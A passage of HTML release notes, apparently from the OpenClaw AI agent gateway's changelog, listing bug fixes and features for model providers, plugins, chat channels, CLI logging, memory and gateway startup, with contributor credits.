<li>Vercel AI Gateway: expose provider-owned <code>/think xhigh</code> for trusted OpenAI/Codex upstream refs and Claude adaptive thinking for Anthropic upstream refs, while leaving untrusted namespaced refs on base levels. Carries forward <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4048650454" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/41561" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/41561/hovercard" href="https://github.com/openclaw/openclaw/pull/41561">#41561</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Zcg2021/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Zcg2021">@Zcg2021</a>.</li>
<li>Plugins/runtime-deps: prune stale <code>openclaw-unknown-*</code> bundled runtime dependency roots during Gateway startup while keeping recent or locked roots, so old staging debris cannot keep growing across restarts. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>.</li>
<li>Plugins/runtime-deps: include ten more root-package runtime dependencies (<code>@agentclientprotocol/sdk</code>, <code>@lydell/node-pty</code>, <code>croner</code>, <code>dotenv</code>, <code>jiti</code>, <code>json5</code>, <code>jszip</code>, <code>markdown-it</code>, <code>tar</code>, <code>web-push</code>) in <code>MIRRORED_CORE_RUNTIME_DEP_NAMES</code> so they are mirrored into the runtime-deps tree alongside <code>semver</code> and <code>tslog</code>, preventing <code>Cannot find package 'X'</code> failures from core dist code (for example <code>qmd-manager</code>, <code>cron/schedule</code>, <code>infra/archive</code>, <code>infra/push-web</code>, <code>infra/backup-create</code>, <code>process/supervisor/adapters/pty</code>) when no enabled extension owns the dependency. Adds a static drift guard test that scans <code>src/</code> for value imports of root-package deps and fails CI when one is missing from the mirror allowlist or extension-owned set. Refs <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4348806638" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/74199" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/74199/hovercard" href="https://github.com/openclaw/openclaw/issues/74199">#74199</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/maxpuppet/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/maxpuppet">@maxpuppet</a>.</li>
<li>Ollama: compose caller abort signals with guarded-fetch timeouts for native <code>/api/chat</code> streams, so <code>/stop</code> and early cancellation still interrupt local Ollama requests that also carry provider timeout budgets. Refs <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4348337046" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/74133" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/74133/hovercard" href="https://github.com/openclaw/openclaw/pull/74133">#74133</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/obviyus/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/obviyus">@obviyus</a>.</li>
<li>Doctor/TTS: migrate legacy <code>messages.tts.enabled</code>, agent TTS, channel TTS, and voice-call plugin TTS toggles to <code>auto</code> mode during <code>openclaw doctor --fix</code>, matching the documented TTS config contract. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>.</li>
<li>CLI/logs: fall back to the configured Gateway file log when implicit loopback Gateway connections close or time out before or during <code>logs.tail</code>, so <code>openclaw logs</code> still works while diagnosing local-model Gateway disconnects. Refs <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4347954374" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/74078" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/74078/hovercard" href="https://github.com/openclaw/openclaw/issues/74078">#74078</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/sakalaboator/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/sakalaboator">@sakalaboator</a>.</li>
<li>MCP/plugins: stringify non-array plugin tool results with chat-content coercion instead of default object stringification, so MCP callers receive useful JSON/text content from plugin tools. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>.</li>
<li>Active Memory/QMD: make gateway-start QMD refresh opt-in via <code>memory.qmd.update.startup</code>, keep normal memory access lazy, preserve interactive file watching, and align watcher dependency/build ignores with QMD's scanner so cold gateway startup no longer imports or initializes QMD by default. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/codexGW/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/codexGW">@codexGW</a>.</li>
<li>Channels/Discord: remove Discord-owned queued-run timeout replies through the shared channel lifecycle queue while preserving message ordering and compatibility timeout constants, so long Discord turns stay governed by session/tool/runtime lifecycle instead of channel fallback errors. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/codexGW/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/codexGW">@codexGW</a>.</li>
<li>Agents/tools: clamp <code>process.poll</code> waits to 30 seconds, advertise that cap in the tool schema, and honor abort signals while waiting, so long command polls cannot pin agent responsiveness after cancellation. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>.</li>
<li>Plugin SDK: add tracked Discord component-message helpers and a Telegram account-resolution compatibility facade, so existing plugins using those subpaths resolve while new plugins stay on generic channel SDK contracts. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>.</li>
<li>Shared labels: preserve Unicode combining marks and NFC-equivalent accented text in group/channel slug normalization so non-Latin labels no longer lose meaningful characters. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4185745477" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/58932" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/58932/hovercard" href="https://github.com/openclaw/openclaw/issues/58932">#58932</a>; carries forward <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4185851212" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/58942" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/58942/hovercard" href="https://github.com/openclaw/openclaw/pull/58942">#58942</a> and <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4186444405" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/58995" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/58995/hovercard" href="https://github.com/openclaw/openclaw/pull/58995">#58995</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/fengqing-git/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/fengqing-git">@fengqing-git</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Starhappysh/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Starhappysh">@Starhappysh</a>, and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/koen666/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/koen666">@koen666</a>.</li>
<li>Channels/Telegram: include probed video width and height when sending regular Telegram videos, so portrait clips render with the correct orientation instead of being stretched by clients. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3950913740" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/18915" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/18915/hovercard" href="https://github.com/openclaw/openclaw/pull/18915">#18915</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/storyarcade/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/storyarcade">@storyarcade</a>.</li>
<li>Docs/Hetzner: clarify that SSH tunnel access requires <code>AllowTcpForwarding local</code> before running <code>ssh -L</code>, so hardened VPS sshd configs do not block loopback Gateway access. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4136710669" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/54557" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/54557/hovercard" href="https://github.com/openclaw/openclaw/issues/54557">#54557</a>; carries forward <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4136836006" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/54564" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/54564/hovercard" href="https://github.com/openclaw/openclaw/pull/54564">#54564</a>; refs <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4141007846" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/54954" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/54954/hovercard" href="https://github.com/openclaw/openclaw/pull/54954">#54954</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/satishkc7/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/satishkc7">@satishkc7</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/blackstrype/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/blackstrype">@blackstrype</a>, and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Aftabbs/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Aftabbs">@Aftabbs</a>.</li>
<li>Agents/config: preserve authored <code>agents.defaults.params</code> and per-model <code>agents.defaults.models[].params</code> during narrowed internal config writes, so OpenAI transport overrides such as <code>transport: "sse"</code> and <code>openaiWsWarmup: false</code> are not stripped from <code>openclaw.json</code>. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4344027749" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/73607" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/73607/hovercard" href="https://github.com/openclaw/openclaw/issues/73607">#73607</a>; refs <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4341750455" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/73428" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/73428/hovercard" href="https://github.com/openclaw/openclaw/issues/73428">#73428</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/quangtran88/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/quangtran88">@quangtran88</a>.</li>
<li>Agents/model config: resolve per-model extra params through canonical model keys while preserving legacy double-prefixed fallback entries, so provider-prefixed model ids such as <code>openrouter/auto</code> keep their configured runtime params. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4066560428" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/44319" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/44319/hovercard" href="https://github.com/openclaw/openclaw/pull/44319">#44319</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/HenryXiaoYang/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/HenryXiaoYang">@HenryXiaoYang</a>.</li>
<li>Gateway/shutdown: report structured shutdown warnings and HTTP close timeout warnings through <code>ShutdownResult</code> while preserving lifecycle hook hardening. Carries forward <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4046867239" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/41296" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/41296/hovercard" href="https://github.com/openclaw/openclaw/pull/41296">#41296</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/edenfunf/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/edenfunf">@edenfunf</a>.</li>
<li>Control UI: keep Agents Overview and config-form select dropdowns on their configured value after options render while preserving inherited agent model placeholders. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4042433661" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/40352" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/40352/hovercard" href="https://github.com/openclaw/openclaw/issues/40352">#40352</a>; carries forward <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4121542753" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/52948" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/52948/hovercard" href="https://github.com/openclaw/openclaw/pull/52948">#52948</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/xiaoquanidea/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/xiaoquanidea">@xiaoquanidea</a>.</li>
<li>Agents/exec: launch zsh, bash, and fish host exec shells with startup files suppressed while preserving existing PATH fallbacks, so daemon env is not overridden by shell startup files. Carries forward <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4042016257" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/40200" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/40200/hovercard" href="https://github.com/openclaw/openclaw/pull/40200">#40200</a>; fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4041976066" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/40179" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/40179/hovercard" href="https://github.com/openclaw/openclaw/issues/40179">#40179</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/NewdlDewdl/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/NewdlDewdl">@NewdlDewdl</a>.</li>
<li>Plugins/QA: prebuild the private QA channel runtime before plugin gauntlet source runs so wrapper CPU/RSS measurements are not polluted by private QA dist rebuild work. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>.</li>
<li>Plugins/QA: add a Kitchen Sink plugin gauntlet that installs the external package, checks command inventory, MCP tools, channel status, provider turns, gateway RSS, CPU, and fatal log anomalies. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>.</li>
<li>Plugins/config: reuse the bundled plugin alias scan within a single config normalization pass, so Kitchen Sink-style plugin configs no longer peg Gateway CPU by repeatedly rescanning bundled metadata before agent turns. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>.</li>
<li>Plugins/channels: reject malformed runtime channel registrations that omit required config helpers before they can poison channel status. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>.</li>
<li>MCP/plugins: serialize raw plugin tool return values through the plugin-tools MCP bridge so Kitchen Sink-style tools no longer surface <code>undefined</code> content. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>.</li>
<li>Gateway/reload: bound default restart deferral and SIGUSR1 restart drain to five minutes while preserving explicit <code>deferralTimeoutMs: 0</code> indefinite waits, so stale active work accounting cannot block config reloads forever. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>.</li>
<li>Active Memory: register the prompt-build hook with the configured recall timeout plus setup grace instead of the 150s maximum budget, so default memory recall cannot delay turn startup for multiple minutes. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>.</li>
<li>Gateway/readiness: include an <code>eventLoop</code> diagnostic block in local or authenticated <code>/readyz</code> responses with event-loop delay (p99 and max), event-loop utilization, CPU core ratio, and a <code>degraded</code> flag, so operators can see when slow startups or runaway turns stall the event loop. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>.</li>
<li>Gateway/agents: schedule accepted agent runs after the accepted RPC frame has a chance to flush, so pre-turn prompt/context work is less likely to starve immediate <code>agent.wait</code> callers. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>.</li>
<li>CLI/update: tolerate stale memory-runtime import failures during best-effort CLI process teardown, so <code>openclaw update</code> replacing hashed runtime chunks before the finalizer runs no longer surfaces as exit-time <code>Cannot find module</code> noise. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>.</li>
<li>CLI/channels logs: reuse the rolling log-file resolver so <code>openclaw channels logs</code> falls back to the active dated log across date boundaries without reading unrelated custom log files. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4056125824" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/42875" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/42875/hovercard" href="https://github.com/openclaw/openclaw/issues/42875">#42875</a>; carries forward <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4056258292" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/42904" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/42904/hovercard" href="https://github.com/openclaw/openclaw/pull/42904">#42904</a> and <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4057041029" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/43043" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/43043/hovercard" href="https://github.com/openclaw/openclaw/pull/43043">#43043</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ethanclaw/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ethanclaw">@ethanclaw</a> and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/wdskuki/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/wdskuki">@wdskuki</a>.</li>
<li>CLI/update: skip tracked plugins disabled in config during post-update plugin sync before npm, ClawHub, or marketplace update checks, preserving their install records without failing the update. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4347036954" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/73880" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/73880/hovercard" href="https://github.com/openclaw/openclaw/issues/73880">#73880</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/islandpreneur007/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/islandpreneur007">@islandpreneur007</a>.</li>
<li>Control UI: fix Peak Error Hours showing incorrect hourly rates when the browser's timezone observes DST, by storing hourly message counts with UTC date keys and using DST-aware <code>Date.getHours()</code> for local conversion. Also extract <code>accumulateMessageCounts</code> helper to reduce duplicated daily/hourly aggregation logic. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4092402816" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/49396" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/49396/hovercard" href="https://github.com/openclaw/openclaw/pull/49396">#49396</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/konanok/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/konanok">@konanok</a>.</li>
<li>iMessage: normalize known leading attributedBody corruption markers on sent-message echo text keys so delayed reflected echoes with U+FFFD/U+FFFE/U+FFFF/FEFF prefixes are dropped without collapsing interior text. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4197665190" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/59973" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/59973/hovercard" href="https://github.com/openclaw/openclaw/issues/59973">#59973</a>; carries forward <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4197722194" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/59980" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/59980/hovercard" href="https://github.com/openclaw/openclaw/pull/59980">#59980</a> and <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4214583433" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/62191" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/62191/hovercard" href="https://github.com/openclaw/openclaw/pull/62191">#62191</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/neeravmakwana/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/neeravmakwana">@neeravmakwana</a> and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/maguilar631697/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/maguilar631697">@maguilar631697</a>.</li>
<li>Security/audit: recognize dangerous node command IDs as valid <code>gateway.nodes.denyCommands</code> entries, so audit only warns on real typos or unsupported patterns. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4163604946" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/56923" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/56923/hovercard" href="https://github.com/openclaw/openclaw/pull/56923">#56923</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/chziyue/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/chziyue">@chziyue</a>.</li>
<li>Cron: treat implicit text payloads with agent-turn overrides as agent turns, preserving model overrides for scheduled text prompts instead of pruning them as system events. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4001694353" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/28905" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/28905/hovercard" href="https://github.com/openclaw/openclaw/issues/28905">#28905</a>. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4236386081" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/64060" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/64060/hovercard" href="https://github.com/openclaw/openclaw/pull/64060">#64060</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/liaoandi/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/liaoandi">@liaoandi</a>.</li>
<li>Telegram/exec approvals: stop treating general Telegram chat allowlists and <code>defaultTo</code> routes as native exec approvers; Telegram now uses explicit <code>execApprovals.approvers</code> or owner identity from <code>commands.ownerAllowFrom</code>, matching the first-pairing owner bootstrap path. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/pashpashpash/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/pashpashpash">@pashpashpash</a>.</li>
<li>Plugins/providers: keep Gateway startup primary-model discovery on metadata-only provider entries and reuse active non-speech capability providers even with explicit plugin entries, avoiding unnecessary provider registry loads during startup and media capability checks. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4345357678" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/73729" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/73729/hovercard" href="https://github.com/openclaw/openclaw/issues/73729">#73729</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4346570757" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/73835" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/73835/hovercard" href="https://github.com/openclaw/openclaw/issues/73835">#73835</a>, and <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4346027613" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/73793" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/73793/hovercard" href="https://github.com/openclaw/openclaw/issues/73793">#73793</a>; carries forward <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4346797079" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/73853" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/73853/hovercard" href="https://github.com/openclaw/openclaw/pull/73853">#73853</a> and <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4346030125" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/73794" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/73794/hovercard" href="https://github.com/openclaw/openclaw/pull/73794">#73794</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/sg1416-zg/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/sg1416-zg">@sg1416-zg</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/brokemac79/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/brokemac79">@brokemac79</a>, and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/poolside-ventures/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/poolside-ventures">@poolside-ventures</a>.</li>
<li>Chat commands: route sensitive group <code>/diagnostics</code> and <code>/export-trajectory</code> approvals and results to a private owner route, preferring same-surface DMs before falling back to the first configured owner route, so Discord group invocations can land in Telegram when that is the primary owner interface. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/pashpashpash/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/pashpashpash">@pashpashpash</a>.</li>
<li>Gateway/hooks: keep successful <code>deliver:false</code> agent hooks silent, log a hook audit record for suppressed success announcements, and suppress fallback summaries after attempted hook delivery while still surfacing failed hook runs. Repairs <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4151948578" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/55761" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/55761/hovercard" href="https://github.com/openclaw/openclaw/pull/55761">#55761</a>; builds on <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4028886435" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/36332" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/36332/hovercard" href="https://github.com/openclaw/openclaw/pull/36332">#36332</a> and <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4091099015" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/49234" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/49234/hovercard" href="https://github.com/openclaw/openclaw/pull/49234">#49234</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/EffortlessSteven/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/EffortlessSteven">@EffortlessSteven</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/cioclawcode/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/cioclawcode">@cioclawcode</a>, and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/BrennerSpear/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/BrennerSpear">@BrennerSpear</a>.</li>
